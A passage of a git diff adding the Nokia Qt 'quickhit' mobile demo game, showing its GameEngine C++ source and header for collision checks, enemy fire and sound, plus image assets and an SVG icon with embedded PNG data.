+ QMetaObject::invokeMethod(m_levelQml, "pause", Qt::AutoConnection,Q_ARG(QVariant, doPause));
+}
+
+
+void GameEngine::findQmlObjects()
+{
+ if (m_GameGml) {
+ qDebug() << "GameEngine::findQmlObjects()";
+
+ // Find Missiles objects
+ m_missileList.clear();
+ m_enemyMissileList.clear();
+ findMissiles(m_GameGml);
+
+ // Set QMLs
+ setLevelQml(m_GameGml->findChild<QObject*>("level"));
+ setEnemiesGridQml(m_GameGml->findChild<QObject*>("enemiesGrid"));
+ setMyShipQml(m_GameGml->findChild<QObject*>("myShip"));
+
+ // Find Enemies objects
+ m_enemyList.clear();
+ qDebug() << "GameEngine::findQmlObjects() find enemies from: level QML";
+ findEnemies(m_levelQml);
+
+
+ } else {
+ qDebug() << "GameEngine::findQmlObjects() rootObject NULL";
+ }
+}
+
+void GameEngine::clearQmlObjects()
+{
+ m_missileList.clear();
+ m_enemyMissileList.clear();
+ m_enemyList.clear();
+ m_levelQml = 0;
+ m_enemiesGridGml = 0;
+ m_myShipGml = 0;
+ //m_GameGml = 0; // NOTE: Do not delete this
+}
+
+
+void GameEngine::findMissiles(QObject *rootObject)
+{
+ if (rootObject) {
+ QObjectList list = rootObject->children();
+ QObject* item;
+ foreach (item,list) {
+ if (item->children().count()>0) {
+ findMissiles(item);
+ } else {
+ if (rootObject->objectName()=="missile") {
+ QDeclarativeItem* missile = static_cast<QDeclarativeItem*>(rootObject);
+ m_missileList.append(missile);
+ } else if (rootObject->objectName()=="enemy_missile") {
+ QDeclarativeItem* enemyMissile = static_cast<QDeclarativeItem*>(rootObject);
+ m_enemyMissileList.append(enemyMissile);
+ }
+ }
+ }
+ } else {
+ qDebug() << "GameEngine::findMissiles() rootObject NULL";
+ }
+}
+
+void GameEngine::findEnemies(QObject *rootObject)
+{
+ if (rootObject) {
+ QObjectList list = rootObject->children();
+ QObject* item;
+ foreach (item,list) {
+ if (item->children().count()>0 && item->objectName()!="enemy") {
+ //qDebug() << "Enemy children found from: " << item->objectName();
+ findEnemies(item);
+ } else {
+ if (item->objectName()=="enemy") {
+ //qDebug() << "Enemy child founds: " << item->objectName();
+ QDeclarativeItem* enemy = static_cast<QDeclarativeItem*>(item);
+ m_enemyList.append(enemy);
+ }
+ }
+ }
+ } else {
+ qDebug() << "GameEngine::findEnemies() rootObject NULL";
+ }
+}
+
+void GameEngine::setEnemiesGridQml(QObject* o)
+{
+ m_enemiesGridGml = static_cast<QDeclarativeItem*>(o);
+}
+
+void GameEngine::setMyShipQml(QObject* o)
+{
+ m_myShipGml = static_cast<QDeclarativeItem*>(o);
+}
+
+void GameEngine::setGameQml(QObject* o)
+{
+ m_GameGml = static_cast<QDeclarativeItem*>(o);
+}
+
+
+void GameEngine::timerEvent(QTimerEvent *e)
+{
+ if (e->timerId()==m_timerId) {
+ // Do hit test
+ doHitTest();
+
+ m_doEnemyMissile--;
+
+ if (m_gameLevel && m_doEnemyMissile<0) {
+ m_doEnemyMissile = m_gameLevel->enemyFireSpeed().toInt() / TIMER_SPEED;
+ // Do emeny missile launch
+ doEnemyMissile();
+ }
+ }
+}
+
+void GameEngine::enableEngineTimer(QVariant enable)
+{
+ if (m_gameLevel) {
+ if (m_timerId==0 && enable.toBool()) {
+ m_timerId = QObject::startTimer(TIMER_SPEED);
+ }
+ else if (m_timerId != 0 && !enable.toBool()) {
+ QObject::killTimer(m_timerId);
+ m_timerId = 0;
+ }
+ }
+}
+
+void GameEngine::selectVisibleEnemy(int& start, int& end)
+{
+ QDeclarativeItem* enemy = 0;
+ for (int i=0 ; i<m_enemyList.count() ; i++) {
+ enemy = m_enemyList[i];
+ if (enemy->opacity()==1) {
+ start = i;
+ break;
+ }
+ }
+ enemy = 0;
+ for (int e=m_enemyList.count()-1 ; e>0 ; e--) {
+ enemy = m_enemyList[e];
+ if (enemy->opacity()==1) {
+ end = e;
+ break;
+ }
+ }
+}
+
+void GameEngine::doEnemyMissile()
+{
+ QMutexLocker locker(&m_enemyListMutex);
+
+ QDeclarativeItem* missile = 0;
+ QDeclarativeItem* enemy = 0;
+
+ // Find free missile
+ foreach (missile, m_enemyMissileList) {
+ if (missile->opacity()==0){
+ // Random select enemy who fire
+ int start=0; int end=0;
+ selectVisibleEnemy(start,end);
+ int whoWillFire = randInt(QVariant(start),QVariant(end)).toInt();
+ if (m_enemyList.count() < whoWillFire+1)
+ break;
+
+ enemy = m_enemyList.at(whoWillFire);
+ if (enemy && enemy->opacity()==1) {
+ QPointF enemyP = enemy->pos();
+ if (m_enemiesGridGml) {
+ enemyP += m_enemiesGridGml->pos();
+ }
+ //qDebug() << "QMetaObject::invokeMethod() - fireEnemyMissile";
+ QMetaObject::invokeMethod(m_GameGml, "fireEnemyMissile", Qt::AutoConnection,
+ Q_ARG(QVariant, enemyP.x()+enemy->boundingRect().width()/4),
+ Q_ARG(QVariant, enemyP.y()+enemy->boundingRect().height()),
+ Q_ARG(QVariant, m_GameGml->boundingRect().height()));
+ }
+ break;
+ }
+ }
+}
+
+void GameEngine::doHitTest()
+{
+ QMutexLocker locker(&m_enemyListMutex);
+
+ QDeclarativeItem* missile = 0;
+ QDeclarativeItem* enemy = 0;
+
+ // No enemies?
+ if (m_enemyList.count()==0) {
+ enableEngineTimer(QVariant(false));
+ qDebug() << "No enemies left";
+ gameOver(true);
+ return;
+ }
+
+ if (!m_myShipGml) {
+ return;
+ }
+
+ // Check ship collision
+ if (m_myShipGml->opacity()==1) {
+ for (int e=0; e<m_enemyList.count(); e++) {
+ enemy = m_enemyList[e];
+ if (enemy->opacity()==0) {
+ break;
+ }
+ QPointF enemyP = enemy->pos();
+ if (m_enemiesGridGml) {
+ enemyP += m_enemiesGridGml->pos();
+ }
+ QRectF enemyR(enemyP,QSize(enemy->boundingRect().width(),enemy->boundingRect().height()));
+ // Collision?
+ if (enemyR.contains(m_myShipGml->pos())) {
+ enableEngineTimer(QVariant(false));
+
+ // Collision explosion
+ QPointF myP = m_myShipGml->pos();
+ playSound(1);
+ QMetaObject::invokeMethod(m_levelQml, "explode", Qt::AutoConnection,
+ Q_ARG(QVariant, myP.x()+m_myShipGml->boundingRect().width()/2),
+ Q_ARG(QVariant, myP.y()+m_myShipGml->boundingRect().height()));
+ m_myShipGml->setOpacity(0);
+
+ gameOver(false);
+ qDebug() << "Collision";
+ return;
+ }
+ // Enemy too deep?
+ else if (enemyR.bottomLeft().y() > m_myShipGml->pos().y()+m_myShipGml->pos().y()*0.1) {
+ enableEngineTimer(QVariant(false));
+
+ // Enemy too deep explosion
+ QPointF myP = m_myShipGml->pos();
+ playSound(1);
+ QMetaObject::invokeMethod(m_levelQml, "explode", Qt::AutoConnection,
+ Q_ARG(QVariant, myP.x()+m_myShipGml->boundingRect().width()/2),
+ Q_ARG(QVariant, myP.y()+m_myShipGml->boundingRect().height()));
+ m_myShipGml->setOpacity(0);
+
+ gameOver(false);
+ qDebug() << "Enemy too deep";
+ return;
+ }
+ }
+ }
+
+ // Check your missiles hit to enemies
+ foreach (missile, m_missileList) {
+ if (missile->opacity()==1){
+ for (int e=0; e<m_enemyList.count(); e++) {
+ enemy = m_enemyList[e];
+ if (enemy->opacity()<1) {
+ break;
+ }
+ QPointF missileP = missile->pos();
+ missileP.setX(missileP.rx() + missile->boundingRect().width()/2);
+
+ QPointF enemyP = enemy->pos();
+ if (m_enemiesGridGml) {
+ enemyP += m_enemiesGridGml->pos();
+ }
+
+ QRectF r(enemyP,QSize(enemy->boundingRect().width(),enemy->boundingRect().height()));
+ if (r.contains(missileP)) {
+ // Hit !
+ playSound(0);
+ //qDebug() << "QMetaObject::invokeMethod() - explode";
+ QMetaObject::invokeMethod(m_levelQml, "explode", Qt::AutoConnection,
+ Q_ARG(QVariant, enemyP.x()+enemy->boundingRect().width()/2),
+ Q_ARG(QVariant, enemyP.y()+enemy->boundingRect().height()));
+ missile->setOpacity(0);
+ //fastVibra();
+ if (m_enemiesGridGml) {
+ // Set transparent placeholder for enemy when using GridView
+ enemy->setProperty("source",QVariant("file:/"+m_gameLevel->pathToTransparentEnemyPic().toString()));
+ } else {
+ // Hide enemy after explode
+ enemy->setOpacity(0);
+ }
+
+ // Remove enemy from list
+ m_enemyList.removeAt(e);
+ e--;
+ }
+ enemy = 0;
+ }
+ }
+ }
+
+ // Check enemies missiles hit to you
+ if (m_myShipGml->opacity()==1) {
+ foreach (missile, m_enemyMissileList) {
+ if (missile->opacity()==1){
+ QPointF missileP = missile->pos();
+ missileP.setX(missileP.rx() + missile->boundingRect().width()/2);
+
+ QPointF myP = m_myShipGml->pos();
+
+ QRectF r(myP,QSize(m_myShipGml->boundingRect().width(),m_myShipGml->boundingRect().height()));
+ if (r.contains(missileP)) {
+ // Hit !
+ playSound(1);
+ //qDebug() << "QMetaObject::invokeMethod() - explode";
+ QMetaObject::invokeMethod(m_levelQml, "explode", Qt::AutoConnection,
+ Q_ARG(QVariant, myP.x()+m_myShipGml->boundingRect().width()/2),
+ Q_ARG(QVariant, myP.y()+m_myShipGml->boundingRect().height()));
+ missile->setOpacity(0);
+ m_myShipGml->setOpacity(0);
+ break;
+ }
+ }
+ }
+ } else {
+ // You was killed
+ enableEngineTimer(QVariant(false));
+ gameOver(false);
+ qDebug() << "You was killed by enemy missile";
+ }
+
+}
+
+
+void GameEngine::playSound(QVariant index)
+{
+ if (!m_silent) {
+ int i = index.toInt();
+ m_soundEngine->playSound(i);
+ }
+}
+
+void GameEngine::playSounds(QVariant index, QVariant count)
+{
+ if (!m_silent) {
+ m_soundEngine->playSounds(index.toInt(),count.toInt());
+ }
+}
+
+void GameEngine::playInternalSound(QVariant index)
+{
+ if (!m_silent) {
+ m_soundEngine->playInternalSound(index.toInt());
+ }
+}
+
+void GameEngine::playInternalSounds(QVariant index, QVariant count)
+{
+ if (!m_silent) {
+ m_soundEngine->playInternalSounds(index.toInt(),count.toInt());
+ }
+}
+
+void GameEngine::gameOver(bool youWin)
+{
+ qDebug() << "GameEngine::gameOver() "<< youWin;
+ QMetaObject::invokeMethod(m_GameGml, "gameOver", Qt::AutoConnection,Q_ARG(QVariant, youWin));
+}
+
+void GameEngine::pauseGame() {
+ QMetaObject::invokeMethod(m_GameGml, "pauseGame", Qt::AutoConnection);
+}
+
+
+QVariant GameEngine::isSymbian()
+{
+#ifdef Q_OS_SYMBIAN
+ return QVariant(true);
+#else
+ return QVariant(false);
+#endif
+}
+
+QVariant GameEngine::isMaemo()
+{
+#ifdef Q_WS_MAEMO_5
+ return QVariant(true);
+#else
+ return QVariant(false);
+#endif
+}
+
+QVariant GameEngine::isWindows()
+{
+#ifdef Q_OS_WIN
+ return QVariant(true);
+#else
+ return QVariant(false);
+#endif
+}
+
+void GameEngine::vibra()
+{
+#ifdef Q_OS_SYMBIAN
+ if (iVibrate){
+ TRAPD(err, iVibrate->StartVibraL(4000,KHWRMVibraMaxIntensity));
+ }
+#endif
+}
+
+void GameEngine::fastVibra()
+{
+#ifdef Q_OS_SYMBIAN
+ if (iVibrate){
+ TRAPD(err, iVibrate->StartVibraL(100,KHWRMVibraMaxIntensity));
+ }
+#endif
+}
+
+void GameEngine::openLink(QVariant link)
+{
+QDesktopServices::openUrl(QUrl(link.toString()));
+}
+
diff --git a/demos/mobile/quickhit/gameengine.h b/demos/mobile/quickhit/gameengine.h
new file mode 100644
index 00000000..79811d2b
--- /dev/null
+++ b/demos/mobile/quickhit/gameengine.h
@@ -0,0 +1,148 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef GAMEENGINE_H
+#define GAMEENGINE_H
+
+#include <QObject>
+#include <QDeclarativeItem>
+#include <QMutex>
+#include <QPluginLoader>
+#include <QList>
+
+#ifdef Q_OS_SYMBIAN
+#include <hwrmvibra.h>
+#endif
+
+// QtMobility
+#if defined Q_OS_SYMBIAN || defined Q_WS_MAEMO_5
+#include <QSystemDeviceInfo>
+QTM_USE_NAMESPACE
+#endif
+
+class CInvSounds;
+class LevelPluginInterface;
+class GameEngine : public QObject
+{
+ Q_OBJECT
+
+public:
+ GameEngine(QObject* parent);
+ ~GameEngine();
+ void timerEvent(QTimerEvent *);
+ void setGameLevel(LevelPluginInterface* level);
+ void setPluginList(QList<QPluginLoader*> plugins);
+ void pauseGame();
+
+public:
+ Q_INVOKABLE void enableEngineTimer(QVariant enable);
+ Q_INVOKABLE QVariant randInt(QVariant low, QVariant high);
+ Q_INVOKABLE void enableSounds(QVariant enable);
+ Q_INVOKABLE void playSound(QVariant index);
+ Q_INVOKABLE void playSounds(QVariant index, QVariant count);
+ Q_INVOKABLE void playInternalSound(QVariant index);
+ Q_INVOKABLE void playInternalSounds(QVariant index, QVariant count);
+ Q_INVOKABLE QVariant pluginList();
+ Q_INVOKABLE void findQmlObjects();
+ Q_INVOKABLE void clearQmlObjects();
+ Q_INVOKABLE void pauseLevel(QVariant doPause);
+ Q_INVOKABLE void gameStartSound();
+
+ Q_INVOKABLE QVariant isSymbian();
+ Q_INVOKABLE QVariant isMaemo();
+ Q_INVOKABLE QVariant isWindows();
+
+ Q_INVOKABLE void vibra();
+ Q_INVOKABLE void fastVibra();
+
+ Q_INVOKABLE void openLink(QVariant link);
+
+
+private slots:
+#if defined Q_OS_SYMBIAN || defined Q_WS_MAEMO_5
+ void currentProfileChanged (QSystemDeviceInfo::Profile);
+#endif
+
+public:
+ void setGameQml(QObject* o);
+
+private:
+ void findMissiles(QObject* rootObject);
+ void findEnemies(QObject* rootObject);
+ void setLevelQml(QObject* o) {m_levelQml = o;}
+ void setEnemiesGridQml(QObject* o);
+ void setMyShipQml(QObject* o);
+ void gameOver(bool youWin);
+ void selectVisibleEnemy(int& start, int& end);
+
+private:
+ void doHitTest();
+ void doEnemyMissile();
+
+private:
+ bool m_enableEnemyMissiles;
+ QMutex m_enemyListMutex;
+ QList<QDeclarativeItem*> m_enemyList;
+ QList<QDeclarativeItem*> m_missileList;
+ QList<QDeclarativeItem*> m_enemyMissileList;
+ QObject* m_levelQml;
+ QDeclarativeItem* m_enemiesGridGml;
+ QDeclarativeItem* m_myShipGml;
+ QDeclarativeItem* m_GameGml;
+
+ LevelPluginInterface* m_gameLevel;
+ CInvSounds* m_soundEngine;
+ QList<QPluginLoader*> m_pluginList;
+
+ int m_timerId;
+ int m_doEnemyMissile;
+
+#if defined Q_OS_SYMBIAN || defined Q_WS_MAEMO_5
+ QSystemDeviceInfo* m_systemDeviceInfo;
+#endif
+ bool m_silent;
+
+#ifdef Q_OS_SYMBIAN
+ CHWRMVibra* iVibrate;
+#endif
+
+};
+
+#endif // GAMEENGINE_H
diff --git a/demos/mobile/quickhit/gfx/back.png b/demos/mobile/quickhit/gfx/back.png
new file mode 100644
index 00000000..bb66f740
--- /dev/null
+++ b/demos/mobile/quickhit/gfx/back.png
Binary files differ
diff --git a/demos/mobile/quickhit/gfx/background2.png b/demos/mobile/quickhit/gfx/background2.png
new file mode 100644
index 00000000..c81875ac
--- /dev/null
+++ b/demos/mobile/quickhit/gfx/background2.png
Binary files differ
diff --git a/demos/mobile/quickhit/gfx/bigship.png b/demos/mobile/quickhit/gfx/bigship.png
new file mode 100644
index 00000000..b88dc321
--- /dev/null
+++ b/demos/mobile/quickhit/gfx/bigship.png
Binary files differ
diff --git a/demos/mobile/quickhit/gfx/exit.png b/demos/mobile/quickhit/gfx/exit.png
new file mode 100644
index 00000000..a45abd6f
--- /dev/null
+++ b/demos/mobile/quickhit/gfx/exit.png
Binary files differ
diff --git a/demos/mobile/quickhit/gfx/pause.png b/demos/mobile/quickhit/gfx/pause.png
new file mode 100644
index 00000000..05709087
--- /dev/null
+++ b/demos/mobile/quickhit/gfx/pause.png
Binary files differ
diff --git a/demos/mobile/quickhit/gfx/quickhit_logo.png b/demos/mobile/quickhit/gfx/quickhit_logo.png
new file mode 100644
index 00000000..0b505c70
--- /dev/null
+++ b/demos/mobile/quickhit/gfx/quickhit_logo.png
Binary files differ
diff --git a/demos/mobile/quickhit/gfx/soundOff.png b/demos/mobile/quickhit/gfx/soundOff.png
new file mode 100644
index 00000000..fed8520a
--- /dev/null
+++ b/demos/mobile/quickhit/gfx/soundOff.png
Binary files differ
diff --git a/demos/mobile/quickhit/gfx/soundOn.png b/demos/mobile/quickhit/gfx/soundOn.png
new file mode 100644
index 00000000..03bd80e9
--- /dev/null
+++ b/demos/mobile/quickhit/gfx/soundOn.png
Binary files differ
diff --git a/demos/mobile/quickhit/icon.svg b/demos/mobile/quickhit/icon.svg
new file mode 100644
index 00000000..3795e8d9
--- /dev/null
+++ b/demos/mobile/quickhit/icon.svg
@@ -0,0 +1,305 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:xlink="http://www.w3.org/1999/xlink"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="128"
+ height="128"
+ id="svg2"
+ version="1.1"
+ inkscape:version="0.48.0 r9654"
+ sodipodi:docname="New document 1">
+ <defs
+ id="defs4" />
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="2.8"
+ inkscape:cx="151.3239"
+ inkscape:cy="33.99485"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ showgrid="false"
+ inkscape:window-width="1680"
+ inkscape:window-height="1003"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ <dc:title></dc:title>
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1"
+ transform="translate(0,-924.36218)">
+ <image
+ y="924.6955"
+ x="-0.20219566"
+ id="image2993"
+ xlink:href="data:image/png;base64,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
